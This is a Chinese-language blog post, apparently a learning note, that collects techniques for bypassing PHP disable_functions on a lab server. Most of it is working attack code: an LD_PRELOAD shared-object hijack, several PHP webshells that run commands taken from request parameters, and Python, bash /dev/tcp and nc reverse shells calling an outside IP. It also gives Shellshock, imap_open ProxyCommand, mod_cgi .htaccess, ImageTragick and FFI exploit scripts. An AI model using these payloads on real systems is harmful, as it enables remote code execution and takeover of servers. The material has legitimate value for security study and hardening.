本文仅作为学习记录,如有侵权,请联系删除!
环境搭建
由于大部分的disable_functions绕过技巧是针对Linux操作系统的,所以需要搭建环境:
本次搭建的环境为:
Ubuntu 16.04 + php5.6 + apache2.4.18
apache环境搭建:
sudo apt-get install apache2
php环境搭建:
1、添加网易源:
sudo add-apt-repository 'deb http://mirrors.163.com/ubuntu/ xenial main restricted universe multiverse'
2、添加PPA
sudo add-apt-repository ppa:ondrej/php
3、安装php5.6
sudo apt-get update
sudo apt-get install php5.6
# 安装完后检测
sudo php -v
详情参考:https://ubuntuqa.com/article/10016.html
apache设置php解析支持:
首先查看/etc/apache2/mods-available该目录下是否存在php5.6.conf和php5.6.load这两个文件
php解析部分在的配置在/etc/apache2/mods-available下的php5.6.conf和php5.6.load中,apache2.conf文件中并没有将这两个文件包含进来,只要包含进去就OK了
最后一步,开启apache服务,检测php文件是否正常解析:
详情参考:https://blog.csdn.net/daaikuaichuan/article/details/84865438
环境配置
查看disable_funcitons禁用函数:
发现默认情况下,并没有禁用敏感的函数,如:
system,eval,exec,shell_exec,passthru,popen,proc_open
还是可以正常执行系统命令,那么找到php.ini的disable_functions,加入如上函数,禁止执行系统命令
这时已经无法执行系统命令
利用环境变量LD_PRELOAD绕过:
LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
1、
项目地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
利用条件:
Linux环境
putenv()、mail()可用
基本原理:
通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令
利用过程:
bypass_disablefunc.php和bypass_disablefunc_x64.so上传到目标服务器
执行命令:
# cmd: 执行的命令
# outpath: 读写权限目录
# sopath: so文件的绝对路径
http://site.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so
成功执行系统命令!
2、LD_PRELOAD劫持
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的
事前准备环境:
sudo apt-get install sendmail
service sendmail start
sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令.
在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
把hack.so放到WEB目录,然后编写一个PHP文件进行测试
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("test@163.com","","","","");
?>
执行之前,事先在tmp目录下创建check.txt文件
系统成功执行了删除命令
具体原理请参考:PHP中通过bypass disable functions执行系统命令的几种方式
windows 系统组件绕过:
如果php版本>5.3.15 需保证php根目录的 ext 文件夹下确保存有 php_com_dotnet.dll 这个文件,在php.ini中加入(高版本扩展要自己添加):
extension=php_com_dotnet.dll
去除com.allow_dcom = true前面的;号
com.allow_dcom = true
利用代码:
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
黑名单绕过:
exec:
<?php
echo exec('whoami');
?>
shell_exec:
<?php
echo shell_exec('whoami');
?>
system:
<?php
system('whoami');
?>
passthru:
<?php
passthru("whoami");
?>
popen:
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{
echo fread($handle, 1024);
}
pclose($handle);
?>
proc_open:
<?php
$command="ifconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{
echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>
pcntl_exec:
pcntl是linux下的一个扩展,可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("119.x.x.x",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
或者:
#利用pcntl_exec()执行test.sh
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
test.sh:
#!/bin/bash
/bin/bash -i >& /dev/tcp/119.x.x.x/8000 0>&1 #反弹shell
利用ShellShock绕过:
利用条件:
目标OS存在Bash破壳(CVE-2014-6271)漏洞
PHP 5.*
linux
putenv()、mail()可用
CVE-2014-6271检测:
Bash版本小于等于4.3可能存在漏洞:
# 查看bash版本
bash --version
本地验证,使用如下命令:
env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
若存在漏洞,将会回显:
vulnerable
This is a test
利用原理:
一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行
php里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。
利用代码:
<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
利用imap_open函数任意命令执行
利用条件:目标开启了imap扩展,并支持imap_open()函数
利用原理:
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令
利用代码:
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
利用Apache+mod_cgi+.htaccess绕过:
利用条件:
启用mod-cgi
允许.htaccess文件
.htaccess可写
利用原理:
在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令
利用代码:
<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹shell
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
@file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);
header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查
}
else
{
$modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启
$writable = is_writable('.'); //检测当前目录是否可写
$htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
}
else
{
checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用
}
}
?>
利用ImageMagick漏洞绕过:
利用条件:
Imagick <= 3.3.0
PHP >= 5.4
利用原理:
ImageTragick(CVE-2016-3714)
漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招
ImageMagick下载地址:https://sourceforge.net/projects/imagemagick/
环境搭建过程参考:
https://www.php.net/manual/zh/imagick.installation.php
利用代码:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
具体原理和利用参考:https://www.anquanke.com/post/id/83872
FFI外部函数接口绕过
利用条件:
php 7.4
ffi.enable=true
利用原理:
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。
当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
利用代码:
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int system(char *command);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$a='nc -e /usr/bin/zsh 127.0.0.1 8888';
$ffi->system($a);
?>
参考如下:
disable_functions绕过总结
PHP Webshell下绕过disable_function的方法
PHP中通过bypass disable functions执行系统命令的几种方式
PHP安全配置讲解